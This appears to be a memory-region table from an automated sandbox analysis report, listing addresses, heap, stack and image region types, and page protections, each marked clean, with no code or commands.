884000
heap private
page read and write
 clean
16B000
stack
page read and write
 clean
90000
unkown
page read and write
 clean
316D000
stack
page read and write
 clean
BF8000
heap private
page read and write
 clean
37D000
heap default
page read and write
 clean
E0000
unkown
page readonly
 clean
10042000
unkown image
page readonly
 clean
3B0000
heap default
page read and write
 clean
2CD0000
unkown
page readonly
 clean
730000
unkown
page readonly
 clean
18B000
unkown
page read and write
 clean
285E000
unkown
page read and write
 clean
440000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
38F000
heap default
page read and write
 clean
23C1000
heap private
page read and write
 clean
21A7000
unkown
page readonly
 clean
2DF0000
unkown
page readonly
 clean
25E000
unkown
page read and write
 clean
190000
unkown
page readonly
 clean
220000
heap private
page read and write
 clean
220000
heap default
page read and write
 clean
BB8000
heap private
page read and write
 clean
110000
unkown
page readonly
 clean
7FF00042000
unkown
page execute and read and write
 clean
242E000
stack
page read and write
 clean
7D2000
heap private
page read and write
 clean
3B7000
heap default
page read and write
 clean
10001000
unkown image
page execute read
 clean
2197000
unkown
page readonly
 clean
10042000
unkown image
page readonly
 clean
1004F000
unkown image
page readonly
 clean
326E000
unkown
page read and write
 clean
560000
unkown
page read and write
 clean
5C0000
heap default
page read and write
 clean
10001000
unkown image
page execute read
 clean
31A9000
unkown
page read and write
 clean
12FB2000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
1004F000
unkown image
page readonly
 clean
2404000
heap private
page read and write
 clean
4B7000
heap default
page read and write
 clean
20000
unkown
page readonly
 clean
1E0000
heap default
page read and write
 clean
3130000
heap private
page read and write
 clean
7FF0004C000
unkown
page execute and read and write
 clean
290000
heap default
page read and write
 clean
37E000
stack
page read and write
 clean
E0000
unkown
page read and write
 clean
260000
heap default
page read and write
 clean
210000
unkown
page read and write
 clean
20000
unkown
page readonly
 clean
1004D000
unkown image
page read and write
 clean
1004F000
unkown image
page readonly
 clean
590000
unkown
page readonly
 clean
7EFDF000
unkown
page read and write
 clean
36BF000
unkown
page read and write
 clean
7FF00200000
unkown
page read and write
 clean
303C000
unkown
page read and write
 clean
367000
heap default
page read and write
 clean
780000
unkown
page read and write
 clean
90000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
305D000
stack
page read and write
 clean
9C0000
unkown
page readonly
 clean
22C000
unkown
page read and write
 clean
1B4E0000
unkown
page read and write
 clean
24C0000
heap private
page read and write
 clean
53E000
unkown
page read and write
 clean
60000
unkown
page read and write
 clean
7FFFFF00000
unkown
page execute and read and write
 clean
354000
heap default
page read and write
 clean
2F0000
heap default
page read and write
 clean
10000000
unkown image
page readonly
 clean
2680000
unkown
page read and write
 clean
283F000
unkown
page read and write
 clean
3615000
unkown
page read and write
 clean
7FF00132000
unkown
page execute and read and write
 clean
7FF00170000
unkown
page read and write
 clean
10000000
unkown image
page readonly
 clean
224000
heap private
page read and write
 clean
29B0000
unkown
page read and write
 clean
8FE000
unkown
page read and write
 clean
1004D000
unkown image
page read and write
 clean
2440000
unkown
page readonly
 clean
1E20000
unkown
page readonly
 clean
668000
heap default
page read and write
 clean
240000
unkown
page read and write
 clean
540000
unkown
page readonly
 clean
870000
heap private
page read and write
 clean
395000
heap default
page read and write
 clean
8E0000
unkown
page readonly
 clean
3089000
unkown
page read and write
 clean
2007000
unkown
page readonly
 clean
293F000
unkown
page read and write
 clean
1D47000
unkown
page readonly
 clean
2670000
unkown
page readonly
 clean
306C000
unkown
page read and write
 clean
2CCE000
unkown
page read and write
 clean
390000
unkown
page readonly
 clean
170000
unkown
page readonly
 clean
2CFF000
unkown
page read and write
 clean
2AA0000
heap private
page execute and read and write
 clean
10001000
unkown image
page execute read
 clean
780000
unkown
page readonly
 clean
2F5E000
unkown
page read and write
 clean
99E000
unkown
page read and write
 clean
63B000
heap default
page read and write
 clean
2680000
unkown
page read and write
 clean
240000
unkown
page read and write
 clean
A20000
unkown
page readonly
 clean
574000
heap default
page read and write
 clean
90000
unkown
page read and write
 clean
1B0000
unkown
page read and write
 clean
3FF000
heap default
page read and write
 clean
340000
unkown
page readonly
 clean
30EC000
unkown
page read and write
 clean
325E000
stack
page read and write
 clean
2890000
unkown
page readonly
 clean
3E4000
heap private
page read and write
 clean
18B000
unkown
page read and write
 clean
7EFDF000
unkown
page read and write
 clean
6F9000
heap default
page read and write
 clean
940000
heap private
page read and write
 clean
2340000
heap private
page read and write
 clean
2680000
heap private
page read and write
 clean
1CA1D000
unkown
page read and write
 clean
2BEE000
stack
page read and write
 clean
557000
heap default
page read and write
 clean
A6D000
stack
page read and write
 clean
1C74000
heap private
page read and write
 clean
BA0000
unkown
page readonly
 clean
2197000
unkown
page readonly
 clean
1D5F000
unkown
page read and write
 clean
940000
unkown
page readonly
 clean
1B4EE000
unkown
page read and write
 clean
210000
heap private
page read and write
 clean
350000
heap default
page read and write
 clean
500000
heap default
page read and write
 clean
3F0000
heap private
page read and write
 clean
22E000
unkown
page read and write
 clean
98E000
stack
page read and write
 clean
340000
heap default
page read and write
 clean
360000
unkown
page readonly
 clean
900000
unkown
page read and write
 clean
12E71000
unkown
page read and write
 clean
2680000
unkown
page read and write
 clean
24E0000
heap private
page read and write
 clean
60000
unkown
page readonly
 clean
10001000
unkown image
page execute read
 clean
2B2000
heap private
page read and write
 clean
3080000
unkown
page readonly
 clean
There are 1128 hidden memdumps, click here to show them.